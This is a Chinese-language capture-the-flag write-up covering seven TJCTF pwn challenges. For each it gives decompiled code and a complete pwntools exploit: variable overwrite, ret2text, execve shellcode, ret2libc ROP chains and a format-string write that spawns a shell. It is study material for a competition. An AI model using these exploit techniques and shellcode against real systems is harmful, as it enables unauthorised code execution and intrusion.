抽空复现一下,前一个礼拜忙着写论文,后一个礼拜也要忙着复习
Tinder
Description:
Written by agcdragon
nc p1.tjctf.org 8002
Solution:
程序保护如下:
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
main 函数如下:
int __cdecl main(int argc, const char **argv, const char **envp) { char flag[32]; // [esp+0h] [ebp-A0h] char bio[64]; // [esp+20h] [ebp-80h] char pass[16]; // [esp+60h] [ebp-40h] char user[16]; // [esp+70h] [ebp-30h] char name[16]; // [esp+80h] [ebp-20h] FILE *f; // [esp+90h] [ebp-10h] int match; // [esp+94h] [ebp-Ch] int *v11; // [esp+98h] [ebp-8h] v11 = &argc; match = 0; setup(); puts("Welcome to TJTinder, please register to start matching!"); printf("Name: "); input(name, 1.0); printf("Username: "); input(user, 1.0); printf("Password: "); input(pass, 1.0); printf("Tinder Bio: "); input(bio, 8.0); putchar(10); if ( match == 0xC0D3D00D ) { printf("Registered '%s' to TJTinder successfully!\n", user); puts("Searching for matches..."); sleep(3u); puts("It's a match!"); f = fopen("flag.txt", "r"); if ( !f ) { puts("Flag File is Missing. Contact a moderator if running on server."); exit(0); } fgets(flag, 0x20, f); printf("Here is your flag: %s", flag); } else { printf("Registered '%s' to TJTinder successfully!\n", user); puts("Searching for matches..."); sleep(3u); puts("Sorry, no matches found. Try Again!"); } return 0; }
setup 函数如下:
void setup() { gid_t gid; // ST1C_4 gid = getegid(); setresgid(gid, gid, gid); setbuf(stdout, 0); }
input 函数如下:
int __cdecl input(char *str, float f) { int result; // eax fgets(str, (f * 16.0), stdin); if ( strlen(str) <= 1 ) { puts("No input detected. Registration failed."); exit(0); } if ( strchr(str, 10) ) { result = &str[strlen(str) - 1]; *result = 0; } else { do result = fgetc(stdin); while ( result != 10 ); } return result; }
解题思路:
变量覆盖漏洞,没啥说的
exp 如下:
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * debug = 2 context(arch='i386', endian='el', os='linux') context.log_level = 'debug' if debug == 1: p = process(['./chall']) else: p = remote('p1.tjctf.org', 8002) # gdb.attach(p, "b *0x080488E4\nc") p.sendlineafter('Name: ', 'a') p.sendlineafter('Username: ', 'a') p.sendlineafter('Password: ', 'a') pd = 'a' * 0x74 pd += p32(0xC0D3D00D) p.sendlineafter('Tinder Bio: ', pd) p.interactive()
Flag:
无
Seashells
Description:
Written by avz92
I heard there's someone selling shells? They seem to be out of stock though...
nc p1.tjctf.org 8009
Solution:
程序保护如下:
Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
main 函数如下:
int __cdecl main(int argc, const char **argv, const char **envp) { char s1; // [rsp+6h] [rbp-Ah] setbuf(stdout, 0LL); setbuf(stdin, 0LL); setbuf(stderr, 0LL); puts("Welcome to Sally's Seashore Shell Shop"); puts("Would you like a shell?"); gets(&s1, 0LL); if ( !strcasecmp(&s1, "yes") ) puts("sorry, we are out of stock"); else puts("why are you even here?"); return 0; }
shell 函数如下:
int __fastcall shell(__int64 a1) { int result; // eax result = 0xBABEBEEF; if ( a1 == 0xDEADCAFEBABEBEEFLL ) result = system("/bin/sh"); return result; }
解题思路:
ret2text 没啥好说的,覆盖到这就行
.text:00000000004006E3 lea rdi, command ; "/bin/sh" .text:00000000004006EA call _system
exp 如下:
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * debug = 1 context(arch='i386', endian='el', os='linux') context.log_level = 'debug' if debug == 1: p = process(['./chall']) else: p = remote('p1.tjctf.org', 8009) pd = 'a' * 0x12 pd += p64(0x4006E3) p.sendlineafter('shell?\n', pd) p.interactive()
Flag:
无
OSRS
Description:
Written by KyleForkBomb
My friend keeps talking about Old School RuneScape. He says he made a service to tell you about trees.
I don't know what any of this means but this system sure looks old! It has like zero security features enabled...
nc p1.tjctf.org 8006
Solution:
程序保护如下:
Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
main 函数如下:
int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [esp+Ch] [ebp-Ch] setbuf(stdout, 0); setbuf(stdin, 0); setbuf(stderr, 0); v4 = get_tree(); if ( v4 > 0 ) puts((&off_8049EC4)[2 * v4]); return 0; }
get_tree 函数如下:
signed int get_tree() { char s; // [esp+Ch] [ebp-10Ch] int i; // [esp+10Ch] [ebp-Ch] puts("Enter a tree type: "); gets(&s); for ( i = 0; i <= 12; ++i ) { if ( !strcasecmp((&trees)[2 * i], &s) ) return i; } printf("I don't have the tree %d :(\n", &s); return -1; }
字符串一览:
.data:08049EC0 public trees .data:08049EC0 ; char *trees .data:08049EC0 trees dd offset aNormal ; DATA XREF: get_tree+37↑r .data:08049EC0 ; "Normal" .data:08049EC4 ; char *off_8049EC4 .data:08049EC4 off_8049EC4 dd offset aTheMostCommonT .data:08049EC4 ; DATA XREF: main+5B↑r .data:08049EC4 ; "The most common tree on RuneScape, thes"... .data:08049EC8 dd offset aAchey ; "Achey" .data:08049ECC dd offset aTheseTreesAreU ; "These trees are used for the members-on"... .data:08049ED0 dd offset aOak ; "Oak" .data:08049ED4 dd offset aTheseTreesAreF ; "These trees are fairly easy to find aro"... .data:08049ED8 dd offset aWillow ; "Willow" .data:08049EDC dd offset aTheseTreesAreF_0 ; "These trees are found near water." .data:08049EE0 dd offset aTeak ; "Teak" .data:08049EE4 dd offset aTheseTreesYiel ; "These trees yield teak logs when cut, w"... .data:08049EE8 dd offset aMaple ; "Maple" .data:08049EEC dd offset aMapleTreesAreS ; "Maple trees are special trees which can"... .data:08049EF0 dd offset aHollow ; "Hollow" .data:08049EF4 dd offset aTheseAreFoundI ; "These are found in Slepe and the Haunte"... .data:08049EF8 dd offset aMahogany ; "Mahogany" .data:08049EFC dd offset aLikeTeakTreesM ; "Like teak trees, mahogany trees are qui"... .data:08049F00 dd offset aArcticPine ; "Arctic pine" .data:08049F04 dd offset aTheseAreFoundO ; "These are found on the islands of Neiti"... .data:08049F08 dd offset aYew ; "Yew" .data:08049F0C dd offset aTheHighestLeve ; "The highest levelled tree for free play"... .data:08049F10 dd offset aSulliuscep ; "Sulliuscep" .data:08049F14 dd offset aFoundInTheTarS ; "Found in the Tar Swamp on Fossil Island"... .data:08049F18 dd offset aMagic ; "Magic" .data:08049F1C dd offset aTheseTreesAreM ; "These trees are members-only. Cutting t"... .data:08049F20 dd offset aRedwood ; "Redwood" .data:08049F24 dd offset aTheseTreesAreF_1 ; "These trees are found exclusively in th"... .data:08049F24 _data ends
解题思路:
ret2shellcode 没啥说的
exp 如下:
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * debug = 1 context(arch='i386', endian='el', os='linux') context.log_level = 'debug' if debug == 1: p = process(['./chall']) else: p = remote('p1.tjctf.org', 8009) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) elf = ELF('./chall', checksec=False) plt_gets = elf.plt['gets'] addr_bss = elf.bss() gdb.attach(p, "b *0x080485C7\nc") pd = 'a' * 0x110 pd += p32(plt_gets) pd += p32(addr_bss) pd += p32(addr_bss) p.sendlineafter('type: \n', pd) pd = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68' \ '\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80' p.sendline(pd) p.interactive()
Flag:
无
El Primo
Description:
Written by agcdragon
My friend just started playing Brawl Stars and he keeps raging because he can't beat El Primo! Can you help him?
nc p1.tjctf.org 8011
Solution:
程序保护如下:
Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX disabled PIE: PIE enabled RWX: Has RWX segments
main 函数如下:
int __cdecl main(int argc, const char **argv, const char **envp) { char s; // [esp+0h] [ebp-28h] int *v5; // [esp+20h] [ebp-8h] v5 = &argc; setbuf(stdout, 0); setbuf(stdin, 0); setbuf(stderr, 0); puts("What's my hard counter?"); printf("hint: %p\n", &s); gets(&s); return 0; }
解题思路:
还是 ret2shellcode,就是要看 gdb 动调一下,因为这题末尾长这样
.text:0000069B call _gets .text:000006A0 add esp, 10h .text:000006A3 mov eax, 0 .text:000006A8 lea esp, [ebp-8] .text:000006AB pop ecx .text:000006AC pop ebx .text:000006AD pop ebp .text:000006AE lea esp, [ecx-4] .text:000006B1 retn
exp 如下:
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * debug = 1 context(arch='i386', endian='el', os='linux') context.log_level = 'debug' if debug == 1: p = process(['./chall']) else: p = remote('p1.tjctf.org', 8009) # gdb.attach(p, "b *$rebase(0x6A0)\nc") p.recvuntil('hint: ') addr_stack = int(p.recvuntil('\n')[:-1], 16) pd = p32(addr_stack + 4) pd += asm(''' xor ecx, ecx xor edx, edx mov ebx, 0x68732f push ebx mov ebx, 0x6e69622f push ebx push esp pop ebx mov eax, SYS_execve int 0x80 ''') pd = pd.ljust(0x20, 'a') pd += p32(addr_stack + 4) p.sendline(pd) p.interactive()
Flag:
无
Stop
Description:
Written by KyleForkBomb
I love playing stop, but I am tired of losing. Check out my new stop answer generator!
It's a work in progress and only has a few categories, but it's 100% bug-free!
nc p1.tjctf.org 8001
Solution:
程序保护如下:
Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
main 函数如下:
int __cdecl main(int argc, const char **argv, const char **envp) { int result; // eax char v4[256]; // [rsp+0h] [rbp-110h] int v5; // [rsp+100h] [rbp-10h] int v6; // [rsp+104h] [rbp-Ch] int v7; // [rsp+108h] [rbp-8h] int i; // [rsp+10Ch] [rbp-4h] setbuf(stdout, 0LL); setbuf(stdin, 0LL); setbuf(stderr, 0LL); printf("Which letter? ", 0LL); v7 = get_letter(); getchar(); if ( v7 == -1 ) { printf("That's not a letter!\n"); result = 1; } else { printf("\n"); for ( i = 0; i <= 4; ++i ) printf("%s\n", categories[i]); printf("\n"); printf("Category? "); v6 = read(); v4[v6 - 1] = 0; v5 = get_category(v4); if ( v5 == -1 ) printf("\nSorry, we don't have that category yet\n", v4); else printf("\nYour answer is: %s\n", answers[v5 + 5LL * v7]); result = 0; } return result; }
get_letter 函数如下:
signed __int64 get_letter() { int v1; // [rsp+Ch] [rbp-4h] v1 = getchar(); if ( v1 > '@' && v1 <= 'Z' ) return (v1 - 'A'); if ( v1 <= '`' || v1 > 'z' ) return 0xFFFFFFFFLL; return (v1 - 'a'); }
get_category 函数如下:
signed __int64 __fastcall get_category(const char *a1) { signed int i; // [rsp+1Ch] [rbp-4h] for ( i = 0; i <= 4; ++i ) { if ( !strcasecmp(categories[i], a1) ) return i; } return 0xFFFFFFFFLL; }
解题思路:
ret2libc 没啥说的
exp 如下:
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * debug = 1 context(arch='amd64', endian='el', os='linux') # context.log_level = 'debug' if debug == 1: p = process(['./chall']) else: p = remote('p1.tjctf.org', 8009) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) elf = ELF('./chall', checksec=False) got_getchar = elf.got['getchar'] plt_printf = elf.plt['printf'] addr_rop1 = 0x0000000000400953 # pop rdi ; ret addr_rop2 = 0x0000000000400951 # pop rsi ; pop r15 ; ret addr_main = 0x40073C addr_fmt = 0x400E43 # %s # gdb.attach(p, "b *0x400848\nb *0x4008D1\nc") p.sendlineafter('letter? ', 'a') pd = 'a' * 0x118 pd += p64(addr_rop1) pd += p64(addr_fmt) pd += p64(addr_rop2) pd += p64(got_getchar) pd += p64(0) pd += p64(plt_printf) pd += p64(addr_main) p.sendlineafter('Category? ', pd) p.recvuntil('yet\n') addr_getchar = u64(p.recv(6).ljust(8, '\x00')) libcbase = addr_getchar - libc.sym['getchar'] addr_system = libcbase + libc.sym['system'] addr_bin_sh = libcbase + libc.search('/bin/sh').next() p.sendlineafter('letter? ', 'a') pd = 'a' * 0x118 pd += p64(addr_rop1) pd += p64(addr_bin_sh) pd += p64(addr_system) p.sendlineafter('Category? ', pd) p.recvuntil('yet\n') p.interactive()
Flag:
无
Cookie Library
Description:
Written by KyleForkBomb
My friend loves cookies. In fact, she loves them so much her favorite cookie changes all the time. She said there's no reward for guessing her favorite cookie, but I still think she's hiding something.
nc p1.tjctf.org 8010
Solution:
程序保护如下:
Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
main 函数如下:
int __cdecl main(int argc, const char **argv, const char **envp) { unsigned int v3; // eax char *v4; // rsi int v5; // eax char s1; // [rsp+0h] [rbp-50h] int i; // [rsp+4Ch] [rbp-4h] v3 = time(0LL); srand(v3); setbuf(_bss_start, 0LL); setbuf(stdin, 0LL); v4 = 0LL; setbuf(stderr, 0LL); puts("Check out all these cookies!"); for ( i = 0; i <= 27; ++i ) { v4 = (&cookies)[i]; printf(" - %s\n", v4); } puts("Which is the most tasty?"); gets(&s1, v4); v5 = rand(); if ( !strcasecmp(&s1, (&cookies)[v5 % 28]) ) puts("Wow, me too!"); else puts("I'm sorry but we can't be friends anymore"); return 0; }
解题思路:
还是 ret2libc 没啥说的
exp 如下:
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * debug = 1 context(arch='amd64', endian='el', os='linux') # context.log_level = 'debug' if debug == 1: p = process(['./chall']) else: p = remote('p1.tjctf.org', 8009) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) elf = ELF('./chall', checksec=False) got_puts = elf.got['puts'] plt_puts = elf.plt['puts'] addr_rop1 = 0x0000000000400933 # pop rdi ; ret addr_main = 0x400797 pd = 'a' * 0x58 pd += p64(addr_rop1) pd += p64(got_puts) pd += p64(plt_puts) pd += p64(addr_main) p.sendlineafter('tasty?', pd) p.recvuntil('anymore\n') addr_puts = u64(p.recv(6).ljust(8, '\x00')) libcbase = addr_puts - libc.sym['puts'] addr_system = libcbase + libc.sym['system'] addr_bin_sh = libcbase + libc.search('/bin/sh').next() pd = 'a' * 0x58 pd += p64(addr_rop1) pd += p64(addr_bin_sh) pd += p64(addr_system) p.sendlineafter('tasty?', pd) p.recvuntil('anymore\n') p.interactive()
Flag:
无
Naughty
Description:
Written by KyleForkBomb
Santa is getting old and can't tell everyone which list they are on anymore. Fortunately, one of his elves wrote a service to do it for him!
nc p1.tjctf.org 8004
Solution:
程序保护如下:
Arch: i386-32-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
main 函数如下:
int __cdecl main(int argc, const char **argv, const char **envp) { char s; // [esp+0h] [ebp-10Ch] unsigned int v5; // [esp+100h] [ebp-Ch] int *v6; // [esp+104h] [ebp-8h] v6 = &argc; v5 = __readgsdword(0x14u); puts( " _ _ __ _ _ _ _ _ _ _ _ ___ "); puts( " | \\| | __ _ _ _ / _` | | |_ | |_ | || | o O O ___ _ _ o O O | \\| | (_) __ " " ___ |__ \\ "); puts( " | .` | / _` | | +| | \\__, | | ' \\ | _| \\_, | o / _ \\ | '_| o | .` | | | / _|" " / -_) /_/ "); puts( " |_|\\_| \\__,_| \\_,_| |___/ |_||_| _\\__| _|__/ TS__[O] \\___/ _|_|_ TS__[O] |_|\\_| _|_|_ \\" "__|_ \\___| _(_)_ "); puts( "_|\"\"\"\"\"|_|\"\"\"\"\"|_|\"\"\"\"\"|_|\"\"\"\"\"|_|\"\"\"\"\"|_|\"\"\"\"\"|_| \"\"\"\"| {======|_|\"\"\"\"\"|_|\"" "\"\"\"\"| {======|_|\"\"\"\"\"|_|\"\"\"\"\"|_|\"\"\"\"\"|_|\"\"\"\"\"|_|\"\"\"\"\"| "); puts( "\"`-0-0-'\"`-0-0-'\"`-0-0-'\"`-0-0-'\"`-0-0-'\"`-0-0-'\"`-0-0-'./o--000'\"`-0-0-'\"`-0-0-'./o--000'\"`-0-0-'\"`-0-0-" "'\"`-0-0-'\"`-0-0-'\"`-0-0-' "); puts("What is your name?"); fflush(stdout); fgets(&s, 256, stdin); printf("You are on the NAUGHTY LIST "); printf(&s); return 0; }
解题思路:
格式化字符串,闲来无事研究了一下 pwntools 里的 fmtstr_payload 函数
知道了一次能生成几个可写字符就可以在后面接着用这个函数
利用点在这:
0xf7fa2a80 <_dl_fini+512> mov eax, dword ptr [eax + 4] 0xf7fa2a83 <_dl_fini+515> add eax, dword ptr [ebx] 0xf7fa2a85 <_dl_fini+517> call eax <0xf7deeda0> command: 0xf7fb7918 ◂— '/bin/sh'
exp 如下:
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * import re debug = 1 context(arch='i386', endian='el', os='linux') # context.log_level = 'debug' if debug == 1: p = process(['./chall']) else: p = remote('p1.tjctf.org', 8009) libc = ELF('/lib/i386-linux-gnu/libc.so.6', checksec=False) elf = ELF('./chall', checksec=False) addr_main = elf.sym['main'] addr_fini_array = 0x08049BAC pd = fmtstr_payload(7, {addr_fini_array: addr_main}) pd = pd.ljust(0x3c, 'a') pd += 'cccc' pd += '%75$p' p.sendlineafter('name?', pd) p.recvuntil('cccc') addr___libc_start_main = int(p.recvuntil('\n')[:-1], 16) - 247 libcbase = addr___libc_start_main - libc.sym['__libc_start_main'] addr_system = libcbase + libc.sym['system'] addr_ebx = libcbase + 0x203918 # gdb.attach(p, "b *0x0804862F\nc") fmt = fmtstr_payload(7, {0x8049bc4: addr_system - 0x6e69622f}).ljust(0x40, 'a') num = eval('+'.join(re.findall(r'%(\d*)c', fmt))) + len(re.findall(r'n(?!%)(.*)aaaa', fmt)[0]) + 4 pd = fmt fmt = fmtstr_payload(23, {addr_ebx: 0x6e69622f}, numbwritten=num).ljust(0x40, 'a') num += eval('+'.join(re.findall(r'%(\d*)c', fmt))) + len(re.findall(r'n(?!%)(.*)aaaa', fmt)[0]) + 4 pd += fmt fmt = fmtstr_payload(39, {addr_ebx + 4: 0x68732f}, numbwritten=num) pd += fmt p.sendlineafter('name?', pd) success('addr_system = ' + hex(addr_system)) p.interactive()
Flag:
无